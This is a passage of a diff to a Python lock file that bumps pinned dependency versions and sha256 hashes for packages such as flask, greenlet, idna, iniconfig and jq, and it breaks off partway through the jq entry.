"fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] +all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.9.3)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=5.8.0)", "uvicorn[standard] (>=0.12.0)"] +standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] +standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0,<1.0.0)", "jinja2 (>=3.1.5)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] [[package]] name = "flask" -version = "3.1.2" +version = "3.1.3" description = "A simple framework for building complex web applications." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "flask-3.1.2-py3-none-any.whl", hash = "sha256:ca1d8112ec8a6158cc29ea4858963350011b5c846a414cdb7a954aa9e967d03c"}, - {file = "flask-3.1.2.tar.gz", hash = "sha256:bf656c15c80190ed628ad08cdfd3aaa35beb087855e2f494910aa3774cc4fd87"}, + {file = "flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c"}, + {file = "flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb"}, ] [package.dependencies] @@ -615,67 +704,66 @@ dotenv = ["python-dotenv"] [[package]] name = "greenlet" -version = "3.2.4" +version = "3.3.2" description = "Lightweight in-process concurrent programming" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\"" files = [ - {file = "greenlet-3.2.4-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:8c68325b0d0acf8d91dde4e6f930967dd52a5302cd4062932a6b2e7c2969f47c"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:94385f101946790ae13da500603491f04a76b6e4c059dab271b3ce2e283b2590"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f10fd42b5ee276335863712fa3da6608e93f70629c631bf77145021600abc23c"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:c8c9e331e58180d0d83c5b7999255721b725913ff6bc6cf39fa2a45841a4fd4b"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:58b97143c9cc7b86fc458f215bd0932f1757ce649e05b640fea2e79b54cedb31"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c2ca18a03a8cfb5b25bc1cbe20f3d9a4c80d8c3b13ba3df49ac3961af0b1018d"}, - {file = "greenlet-3.2.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9fe0a28a7b952a21e2c062cd5756d34354117796c6d9215a87f55e38d15402c5"}, - {file = "greenlet-3.2.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8854167e06950ca75b898b104b63cc646573aa5fef1353d4508ecdd1ee76254f"}, - {file = "greenlet-3.2.4-cp310-cp310-win_amd64.whl", hash = "sha256:73f49b5368b5359d04e18d15828eecc1806033db5233397748f4ca813ff1056c"}, - {file = "greenlet-3.2.4-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:96378df1de302bc38e99c3a9aa311967b7dc80ced1dcc6f171e99842987882a2"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1ee8fae0519a337f2329cb78bd7a8e128ec0f881073d43f023c7b8d4831d5246"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:94abf90142c2a18151632371140b3dba4dee031633fe614cb592dbb6c9e17bc3"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:4d1378601b85e2e5171b99be8d2dc85f594c79967599328f95c1dc1a40f1c633"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0db5594dce18db94f7d1650d7489909b57afde4c580806b8d9203b6e79cdc079"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2523e5246274f54fdadbce8494458a2ebdcdbc7b802318466ac5606d3cded1f8"}, - {file = "greenlet-3.2.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:1987de92fec508535687fb807a5cea1560f6196285a4cde35c100b8cd632cc52"}, - {file = "greenlet-3.2.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:55e9c5affaa6775e2c6b67659f3a71684de4c549b3dd9afca3bc773533d284fa"}, - {file = "greenlet-3.2.4-cp311-cp311-win_amd64.whl", hash = "sha256:9c40adce87eaa9ddb593ccb0fa6a07caf34015a29bf8d344811665b573138db9"}, - {file = "greenlet-3.2.4-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:3b67ca49f54cede0186854a008109d6ee71f66bd57bb36abd6d0a0267b540cdd"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddf9164e7a5b08e9d22511526865780a576f19ddd00d62f8a665949327fde8bb"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f28588772bb5fb869a8eb331374ec06f24a83a9c25bfa1f38b6993afe9c1e968"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:5c9320971821a7cb77cfab8d956fa8e39cd07ca44b6070db358ceb7f8797c8c9"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c60a6d84229b271d44b70fb6e5fa23781abb5d742af7b808ae3f6efd7c9c60f6"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3b3812d8d0c9579967815af437d96623f45c0f2ae5f04e366de62a12d83a8fb0"}, - {file = "greenlet-3.2.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:abbf57b5a870d30c4675928c37278493044d7c14378350b3aa5d484fa65575f0"}, - {file = "greenlet-3.2.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:20fb936b4652b6e307b8f347665e2c615540d4b42b3b4c8a321d8286da7e520f"}, - {file = "greenlet-3.2.4-cp312-cp312-win_amd64.whl", hash = "sha256:a7d4e128405eea3814a12cc2605e0e6aedb4035bf32697f72deca74de4105e02"}, - {file = "greenlet-3.2.4-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:1a921e542453fe531144e91e1feedf12e07351b1cf6c9e8a3325ea600a715a31"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:cd3c8e693bff0fff6ba55f140bf390fa92c994083f838fece0f63be121334945"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:710638eb93b1fa52823aa91bf75326f9ecdfd5e0466f00789246a5280f4ba0fc"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:c5111ccdc9c88f423426df3fd1811bfc40ed66264d35aa373420a34377efc98a"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d76383238584e9711e20ebe14db6c88ddcedc1829a9ad31a584389463b5aa504"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23768528f2911bcd7e475210822ffb5254ed10d71f4028387e5a99b4c6699671"}, - {file = "greenlet-3.2.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:00fadb3fedccc447f517ee0d3fd8fe49eae949e1cd0f6a611818f4f6fb7dc83b"}, - {file = "greenlet-3.2.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:d25c5091190f2dc0eaa3f950252122edbbadbb682aa7b1ef2f8af0f8c0afefae"}, - {file = "greenlet-3.2.4-cp313-cp313-win_amd64.whl", hash = "sha256:554b03b6e73aaabec3745364d6239e9e012d64c68ccd0b8430c64ccc14939a8b"}, - {file = "greenlet-3.2.4-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:49a30d5fda2507ae77be16479bdb62a660fa51b1eb4928b524975b3bde77b3c0"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:299fd615cd8fc86267b47597123e3f43ad79c9d8a22bebdce535e53550763e2f"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:c17b6b34111ea72fc5a4e4beec9711d2226285f0386ea83477cbb97c30a3f3a5"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b4a1870c51720687af7fa3e7cda6d08d801dae660f75a76f3845b642b4da6ee1"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:061dc4cf2c34852b052a8620d40f36324554bc192be474b9e9770e8c042fd735"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44358b9bf66c8576a9f57a590d5f5d6e72fa4228b763d0e43fee6d3b06d3a337"}, - {file = "greenlet-3.2.4-cp314-cp314-win_amd64.whl", hash = "sha256:e37ab26028f12dbb0ff65f29a8d3d44a765c61e729647bf2ddfbbed621726f01"}, - {file = "greenlet-3.2.4-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:b6a7c19cf0d2742d0809a4c05975db036fdff50cd294a93632d6a310bf9ac02c"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:27890167f55d2387576d1f41d9487ef171849ea0359ce1510ca6e06c8bece11d"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:18d9260df2b5fbf41ae5139e1be4e796d99655f023a636cd0e11e6406cca7d58"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:671df96c1f23c4a0d4077a325483c1503c96a1b7d9db26592ae770daa41233d4"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:16458c245a38991aa19676900d48bd1a6f2ce3e16595051a4db9d012154e8433"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9913f1a30e4526f432991f89ae263459b1c64d1608c0d22a5c79c287b3c70df"}, - {file = "greenlet-3.2.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b90654e092f928f110e0007f572007c9727b5265f7632c2fa7415b4689351594"}, - {file = "greenlet-3.2.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:81701fd84f26330f0d5f4944d4e92e61afe6319dcd9775e39396e39d7c3e5f98"}, - {file = "greenlet-3.2.4-cp39-cp39-win32.whl", hash = "sha256:65458b409c1ed459ea899e939f0e1cdb14f58dbc803f2f93c5eab5694d32671b"}, - {file = "greenlet-3.2.4-cp39-cp39-win_amd64.whl", hash = "sha256:d2e685ade4dafd447ede19c31277a224a239a0a1a4eca4e6390efedf20260cfb"}, - {file = "greenlet-3.2.4.tar.gz", hash = "sha256:0dca0d95ff849f9a364385f36ab49f50065d76964944638be9691e1832e9f86d"}, + {file = "greenlet-3.3.2-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:9bc885b89709d901859cf95179ec9f6bb67a3d2bb1f0e88456461bd4b7f8fd0d"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b568183cf65b94919be4438dc28416b234b678c608cafac8874dfeeb2a9bbe13"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:527fec58dc9f90efd594b9b700662ed3fb2493c2122067ac9c740d98080a620e"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:508c7f01f1791fbc8e011bd508f6794cb95397fdb198a46cb6635eb5b78d85a7"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ad0c8917dd42a819fe77e6bdfcb84e3379c0de956469301d9fd36427a1ca501f"}, + {file = "greenlet-3.3.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:97245cc10e5515dbc8c3104b2928f7f02b6813002770cfaffaf9a6e0fc2b94ef"}, + {file = "greenlet-3.3.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8c1fdd7d1b309ff0da81d60a9688a8bd044ac4e18b250320a96fc68d31c209ca"}, + {file = "greenlet-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:5d0e35379f93a6d0222de929a25ab47b5eb35b5ef4721c2b9cbcc4036129ff1f"}, + {file = "greenlet-3.3.2-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:c56692189a7d1c7606cb794be0a8381470d95c57ce5be03fb3d0ef57c7853b86"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ebd458fa8285960f382841da585e02201b53a5ec2bac6b156fc623b5ce4499f"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a443358b33c4ec7b05b79a7c8b466f5d275025e750298be7340f8fc63dff2a55"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4375a58e49522698d3e70cc0b801c19433021b5c37686f7ce9c65b0d5c8677d2"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e2cd90d413acbf5e77ae41e5d3c9b3ac1d011a756d7284d7f3f2b806bbd6358"}, + {file = "greenlet-3.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:442b6057453c8cb29b4fb36a2ac689382fc71112273726e2423f7f17dc73bf99"}, + {file = "greenlet-3.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:45abe8eb6339518180d5a7fa47fa01945414d7cca5ecb745346fc6a87d2750be"}, + {file = "greenlet-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e692b2dae4cc7077cbb11b47d258533b48c8fde69a33d0d8a82e2fe8d8531d5"}, + {file = "greenlet-3.3.2-cp311-cp311-win_arm64.whl", hash = "sha256:02b0a8682aecd4d3c6c18edf52bc8e51eacdd75c8eac52a790a210b06aa295fd"}, + {file = "greenlet-3.3.2-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:ac8d61d4343b799d1e526db579833d72f23759c71e07181c2d2944e429eb09cd"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ceec72030dae6ac0c8ed7591b96b70410a8be370b6a477b1dbc072856ad02bd"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a2a5be83a45ce6188c045bcc44b0ee037d6a518978de9a5d97438548b953a1ac"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ae9e21c84035c490506c17002f5c8ab25f980205c3e61ddb3a2a2a2e6c411fcb"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43e99d1749147ac21dde49b99c9abffcbc1e2d55c67501465ef0930d6e78e070"}, + {file = "greenlet-3.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4c956a19350e2c37f2c48b336a3afb4bff120b36076d9d7fb68cb44e05d95b79"}, + {file = "greenlet-3.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6c6f8ba97d17a1e7d664151284cb3315fc5f8353e75221ed4324f84eb162b395"}, + {file = "greenlet-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:34308836d8370bddadb41f5a7ce96879b72e2fdfb4e87729330c6ab52376409f"}, + {file = "greenlet-3.3.2-cp312-cp312-win_arm64.whl", hash = "sha256:d3a62fa76a32b462a97198e4c9e99afb9ab375115e74e9a83ce180e7a496f643"}, + {file = "greenlet-3.3.2-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:aa6ac98bdfd716a749b84d4034486863fd81c3abde9aa3cf8eff9127981a4ae4"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab0c7e7901a00bc0a7284907273dc165b32e0d109a6713babd04471327ff7986"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d248d8c23c67d2291ffd47af766e2a3aa9fa1c6703155c099feb11f526c63a92"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ccd21bb86944ca9be6d967cf7691e658e43417782bce90b5d2faeda0ff78a7dd"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b6997d360a4e6a4e936c0f9625b1c20416b8a0ea18a8e19cabbefc712e7397ab"}, + {file = "greenlet-3.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:64970c33a50551c7c50491671265d8954046cb6e8e2999aacdd60e439b70418a"}, + {file = "greenlet-3.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1a9172f5bf6bd88e6ba5a84e0a68afeac9dc7b6b412b245dd64f52d83c81e55b"}, + {file = "greenlet-3.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:a7945dd0eab63ded0a48e4dcade82939783c172290a7903ebde9e184333ca124"}, + {file = "greenlet-3.3.2-cp313-cp313-win_arm64.whl", hash = "sha256:394ead29063ee3515b4e775216cb756b2e3b4a7e55ae8fd884f17fa579e6b327"}, + {file = "greenlet-3.3.2-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:8d1658d7291f9859beed69a776c10822a0a799bc4bfe1bd4272bb60e62507dab"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:18cb1b7337bca281915b3c5d5ae19f4e76d35e1df80f4ad3c1a7be91fadf1082"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c2e47408e8ce1c6f1ceea0dffcdf6ebb85cc09e55c7af407c99f1112016e45e9"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e3cb43ce200f59483eb82949bf1835a99cf43d7571e900d7c8d5c62cdf25d2f9"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63d10328839d1973e5ba35e98cccbca71b232b14051fd957b6f8b6e8e80d0506"}, + {file = "greenlet-3.3.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8e4ab3cfb02993c8cc248ea73d7dae6cec0253e9afa311c9b37e603ca9fad2ce"}, + {file = "greenlet-3.3.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:94ad81f0fd3c0c0681a018a976e5c2bd2ca2d9d94895f23e7bb1af4e8af4e2d5"}, + {file = "greenlet-3.3.2-cp314-cp314-win_amd64.whl", hash = "sha256:8c4dd0f3997cf2512f7601563cc90dfb8957c0cff1e3a1b23991d4ea1776c492"}, + {file = "greenlet-3.3.2-cp314-cp314-win_arm64.whl", hash = "sha256:cd6f9e2bbd46321ba3bbb4c8a15794d32960e3b0ae2cc4d49a1a53d314805d71"}, + {file = "greenlet-3.3.2-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:e26e72bec7ab387ac80caa7496e0f908ff954f31065b0ffc1f8ecb1338b11b54"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b466dff7a4ffda6ca975979bab80bdadde979e29fc947ac3be4451428d8b0e4"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b8bddc5b73c9720bea487b3bffdb1840fe4e3656fba3bd40aa1489e9f37877ff"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:59b3e2c40f6706b05a9cd299c836c6aa2378cabe25d021acd80f13abf81181cf"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b26b0f4428b871a751968285a1ac9648944cea09807177ac639b030bddebcea4"}, + {file = "greenlet-3.3.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:1fb39a11ee2e4d94be9a76671482be9398560955c9e568550de0224e41104727"}, + {file = "greenlet-3.3.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:20154044d9085151bc309e7689d6f7ba10027f8f5a8c0676ad398b951913d89e"}, + {file = "greenlet-3.3.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c04c5e06ec3e022cbfe2cd4a846e1d4e50087444f875ff6d2c2ad8445495cf1a"}, + {file = "greenlet-3.3.2.tar.gz", hash = "sha256:2eaf067fc6d886931c7962e8c6bede15d2f01965560f3359b27c80bde2d151f2"}, ] [package.extras] @@ -735,7 +823,7 @@ httpcore = "==1.*" idna = "*" [package.extras] -brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""] +brotli = ["brotli", "brotlicffi"] cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] @@ -743,14 +831,14 @@ zstd = ["zstandard (>=0.18.0)"] [[package]] name = "idna" -version = "3.10" +version = "3.11" description = "Internationalized Domain Names in Applications (IDNA)" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" groups = ["main", "dev"] files = [ - {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, - {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, + {file = "idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea"}, + {file = "idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902"}, ] [package.extras] @@ -758,14 +846,14 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "iniconfig" -version = "2.1.0" +version = "2.3.0" description = "brain-dead simple config-ini parsing" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760"}, - {file = "iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7"}, + {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, + {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, ] [[package]] @@ -800,100 +888,84 @@ i18n = ["Babel (>=2.7)"] [[package]] name = "jq" -version = "1.10.0" +version = "1.11.0" description = "jq is a lightweight and flexible JSON processor." optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "jq-1.10.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9bba438d1813e537294e77f6f0ab3f4b23d3a0ae125187edf4827260a31341a0"}, - {file = "jq-1.10.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3eb6aed0d9882c43ae4c1757b72afc02063504f69d14eb12352c9b2813137c71"}, - {file = "jq-1.10.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c2a6a83f8b59dcb0b9a09f1e6b042e667923916767d0bee869e217d067f5f25"}, - {file = "jq-1.10.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:731fa11ce06276365c51fe2e23821d33acf6c66e501acfc4dd95507be840dd39"}, - {file = "jq-1.10.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd313711ad4b6158662a65e1de9a4e34e6f297cacaa2a563b1d7c37fd453770e"}, - {file = "jq-1.10.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:af859195c4a46adc52866cbc08a5d56fea86cbb8d18c9e02b95fea7d0b9c872d"}, - {file = "jq-1.10.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:801d01e2c933fa3da70ce18d73adb29c4fd07ebe0e2da3f39f79719357a60014"}, - {file = "jq-1.10.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f6557f291f0b13db045b35401fa8b67b866fa1488e3a9703a1bcc5d156948c59"}, - {file = "jq-1.10.0-cp310-cp310-win32.whl", hash = "sha256:148a140c16c366c42c63e5a920dc8259ab62034c6f2c6b0f410df579fdf04654"}, - {file = "jq-1.10.0-cp310-cp310-win_amd64.whl", hash = "sha256:f8aa3f4eb6948be7b9b7c8eb19d4fbdaa2765227d21ea875898e2d20552ad749"}, - {file = "jq-1.10.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1363930e8efe63a76e6be93ffc6fea6d9201ba13a21f8a9c7943e9c6a4184cf7"}, - {file = "jq-1.10.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:850c99324fdb2e42a2056c27ec45af87b1bc764a14c94cdf011f6e21d885f032"}, - {file = "jq-1.10.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75aabeae63f36fe421c25cb793f5e166500400e443e7f6ce509261d06d4f8b5d"}, - {file = "jq-1.10.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b6e1f04da95c5057346954b24e65cb401cf9c64566e68c4263454717fcf464d"}, - {file = "jq-1.10.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3ff2ac703b1bde9209f124aa7948012b77e93a40f858c24cf0bbd48f150c15e8"}, - {file = "jq-1.10.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:83ae246c191e6c5363cb7987af10c4c3071ec6995424eb749d225fbb985d9e47"}, - {file = "jq-1.10.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:307ed7ac72c03843af46face4ec1b8238f6d0d68f5a37aab3b55d178c329ad34"}, - {file = "jq-1.10.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ded278e64dad446667656f7144cefe20cea16bb57cf6912ef6d1ddf3bddc9861"}, - {file = "jq-1.10.0-cp311-cp311-win32.whl", hash = "sha256:5d5624d43c8597b06a4a2c5461d1577f29f23991472a5da88b742f7fa529c1d1"}, - {file = "jq-1.10.0-cp311-cp311-win_amd64.whl", hash = "sha256:08bf55484a20955264358823049ff8deb671bb0025d51707ec591b5eb18a94d7"}, - {file = "jq-1.10.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = 